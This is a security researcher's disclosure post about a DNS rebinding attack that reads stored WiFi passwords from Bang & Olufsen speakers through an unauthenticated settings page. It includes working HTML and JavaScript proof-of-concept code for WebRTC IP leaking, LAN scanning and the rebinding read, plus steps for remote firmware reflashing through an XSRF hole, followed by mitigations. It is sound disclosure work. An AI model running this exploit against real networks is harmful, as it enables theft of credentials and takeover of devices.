The power of DNS rebinding: stealing WiFi passwords with a website

DNS rebinding attacks are known since a long time as useful tools in the hands of attackers for subverting the browser Same-origin policy. The attack abuses DNS, changing the IP address of a website after serving the page contents, usually with some ad-hoc Javascript payload, tricking the browser into waiting some time for the DNS cache to invalidate and perform other requests, still believing it is connecting to the same host, while in reality it is now communicating with a new IP chosen by the attacker. As a result, the attacker can access internal services, exfiltrate information and do other nasty stuff.

Ready-made proof of concept tools exist and mitigations are hard to deploy and not always effective (for example, DNS pinning is not a panacea and dnswall only filters out private IP addresses in DNS response, protecting from just some attacks).

A practical attack: stealing WiFi passwords

Do you happen to have one of those fancy Bang & Olufsen speakers in your home network?

They sound great. They connect to your home network via Ethernet or WiFi, saving the password you input the first time you plug them, and come with a nice web interface.

Your WiFi password is of course saved unencrypted, but the interesting thing is that it is present as-is in an unauthenticated page, /1000/Bo_network_settings.asp (no login needed). This means that by just visiting a web page on the local network we can see the password. No big deal, if we consider the LAN a security boundary and if Same-origin policy prevents browsers from reading responses of requests to other origins.

This is where DNS rebinding comes into play.

A victim visits a malicious website, let’s say attacker.com , with an A DNS record with a very short Time To Live (TTL), such as 60 seconds. The HTML page served contains a malicious Javascript payload, which exploits the famous WebRTC internal IP leak to get the internal IP address of the machine, infers the netmask and starts a scan for B&O devices. In my proof of concept code, image tags are created and removed automatically to find which IP address has /images/BO_processing_grey.gif , typical of B&O devices. If one is found, the scan is stopped and the actual DNS rebinding begins.

We now know the B&O device internal IP address (let’s say, for example, 192.168.1.10 ), and we send it to an attacker-controlled backend (which must allow cross origin requests through CORS). The script running on the backend changes the DNS record of the website to 192.168.1.10 . In the meantime, the Javascript payload on the client just waits a little bit more than a minute. A skillful attacker might put a game or a very long interesting text to convince the victim to actually stay on the page for a bit longer. The minute passes, and the script tries to get http://attacker.com/1000/Bo_network_settings.asp , the DNS cache is expired, the browser performs a new DNS request and attacker.com now resolves to 192.168.1.10 . Since the browser thinks we still are on the same origin, it will happily read the response.

Bingo.

You can get the full source code from this GitHub repo.

The HTML page:

< html > < head > < title > DNS Rebinding demo for Bang & Olufsen devices </ title > < script src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js" ></ script > < script src = "malicious.js" ></ script > < style type = "text/css" > body { font-family : Helvetica ; } # container { display : none ; } # ip_msg { font-weight : bold ; font-size : 20 px ; color : red ; } </ style > </ head > < body > < p id = "ip_msg" ></ p > < div id = "container" ></ div > </ body > </ html >

The Javascript payload:

var last_octet = 1 ; function rtcGetPeerConnection () { var RTCPeerConnection = window . RTCPeerConnection || window . mozRTCPeerConnection || window . webkitRTCPeerConnection ; if ( ! RTCPeerConnection ) { var iframe = document . createElement ( 'iframe' ); iframe . style . display = 'none' ; document . body . appendChild ( iframe ); var win = iframe . contentWindow ; window . RTCPeerConnection = win . RTCPeerConnection ; window . mozRTCPeerConnection = win . mozRTCPeerConnection ; window . webkitRTCPeerConnection = win . webkitRTCPeerConnection ; RTCPeerConnection = window . RTCPeerConnection || window . mozRTCPeerConnection || window . webkitRTCPeerConnection ; } if ( typeof RTCPeerConnection === 'undefined' ) return ; return RTCPeerConnection ; } // WebRTC detection code taken from http://ipleak.net/static/js/index.js function rtcDetection () { var ip_dups = {}; var RTCPeerConnection = rtcGetPeerConnection (); var mediaConstraints = { optional : [{ RtpDataChannels : true }] }; var servers = undefined ; // Add the default Firefox STUN server for Chrome if ( window . webkitRTCPeerConnection ) servers = { iceServers : [{ urls : "stun:stun.services.mozilla.com" }] }; var pc = new RTCPeerConnection ( servers , mediaConstraints ); // Listen for candidate events pc . onicecandidate = function ( ice ) { if ( ice . candidate ) { var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr_arr = ip_regex . exec ( ice . candidate . candidate ); if ( ip_addr_arr && ip_addr_arr . length > 0 ) { var ip_addr = ip_addr_arr [ 1 ]; } else return ; // Remove duplicates if ( ip_dups [ ip_addr ] === undefined ) { if ( ip_addr . startsWith ( "192.168" )) { findBOLocalIP ( ip_addr ); } } ip_dups [ ip_addr ] = true ; } }; pc . createDataChannel ( "" ); pc . createOffer ( function ( result ) { pc . setLocalDescription ( result , function () {}, function () {}); }, function () {}); } function findBOLocalIP ( clientLocalIP ) { var ip_minus_last = clientLocalIP . substring ( 0 , clientLocalIP . lastIndexOf ( '.' )); $ ( '#ip_msg' ). text ( "Your local IP is " + clientLocalIP + ", scanning " + ip_minus_last + ".x subnet..." ); // Try a /24 scan with 192.168.y.<i> with the exfiltrated y setInterval ( function () { if ( ++ last_octet < 255 ) { $ ( "<img>" , { src : "http://" + ip_minus_last + "." + last_octet + "/images/BO_processing_grey.gif" , id : ip_minus_last + "." + last_octet , }) . bind ( 'load' , function () { console . log ( "Found: " + this . id ); exfiltrateWiFiPassword ( this . id ); }). appendTo ( $ ( '#container' )); } }, 500 ); // Force to terminate stalled connections in order to avoid connection limit setTimeout ( function () { setInterval ( function () { $ ( '#container' ). find ( ':first-child' ). unbind ( 'load' ). attr ( 'src' , 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=' ). remove (); }, 500 ); }, 5000 ); } // Alternatively, you could get /1000/bo_restart_in_bsl.asp to trigger a // restart in BSL mode, wait 30 seconds and upload your own firmware // in /1000/bl_firmware_update.asp POSTing to // /goform/formPostHandler a "uploadForm" form with a "appFirmware" file // with enctype="multipart/form-data". No XSRF protection. function exfiltrateWiFiPassword ( ip ) { // Send internal IP "ip" to the attacker: we need to change // the IP address of this attacker-controlled domain to the // B&O internal IP. // // THIS PART HAS NOT BEEN IMPLEMENTED BECAUSE IT IS NOT NECESSARY // FOR DEMONSTRATION PURPOSES. console . log ( "Exfiltrating WiFi password from " + ip + "..." ); $ ( '#ip_msg' ). text ( "B&O device found at " + ip + "!" ). fadeIn (); // Stop running scan... last_octet = 255 ; var WiFiPassword ; // Wait 70 seconds (60 seconds for cache invalidation + 10 grace seconds) // and connect to the attacker-controlled host with the new IP. setTimeout ( function () { var interval = setInterval ( function () { $ . get ( "/1000/Bo_network_settings.asp" + '?dummy=' + Math . random (), function ( data ) { var start = data . lastIndexOf ( 'top: -100px; display: none">' ); if ( start == - 1 ) { return ; } WiFiPassword = data . slice ( start + 28 ); WiFiPassword = WiFiPassword . slice ( 0 , WiFiPassword . indexOf ( '<' )); alert ( 'Password WiFi: ' + WiFiPassword ); $ ( '#ip_msg' ). text ( "WiFi password found: " + WiFiPassword ); clearInterval ( interval ); }); }, 5000 ); }, 70000 ); } $ ( document ). ready ( rtcDetection );

This has been tested on the latest Chrome, and should work on most browsers.

Let’s go further: remote firmware upload

While having a look at the web interface, I noticed that there seems to be no anti-XSRF protection in the firmware upload page. All an attacker has to do to reflash the device remotely is fetch /1000/bo_restart_in_bsl.asp to trigger a device reboot in service (BSL) mode, wait 30 seconds and upload a custom firmware in /1000/bl_firmware_update.asp POSTing to /goform/formPostHandler a uploadForm form with a appFirmware file.

This means that it should be possible to reflash the device remotely even without DNS rebinding, thanks to the XSRF vulnerability. I did not actually try to do that, and there might be some form of signature verification preventing this.

Possible mitigations

Embedded device vendors should be made aware of the risks of DNS rebinding. Since it is difficult to squash this technique in the browser, other precautions should be taken.

Web servers should be checking the Host header, especially in devices supposed to be in a local network. It is tricky, and might break some configurations.

Network administrators might want to filter private IP addresses out of DNS responses with dnswall, or using external public DNS servers with this filtering, such as OpenDNS.

I believe the best mitigation for B&O devices would just be not to reflect the saved WiFi password in /1000/Bo_network_settings.asp (it is in an input type=password anyway, so masked out!), and employ signature verification for uploading new firmwares, if this is not in place already.

Conclusions

DNS rebinding attacks are very practical and real, and mitigations are often not adequate to protect users. This, combined with widespread poor security in embedded devices, makes a wide array of attacks possible.

Thanks

I would like to thank Stephen R. and Sebastian L. for helping in writing the proof of concept code.

Update May 13: Bang & Olufsen sent me an update: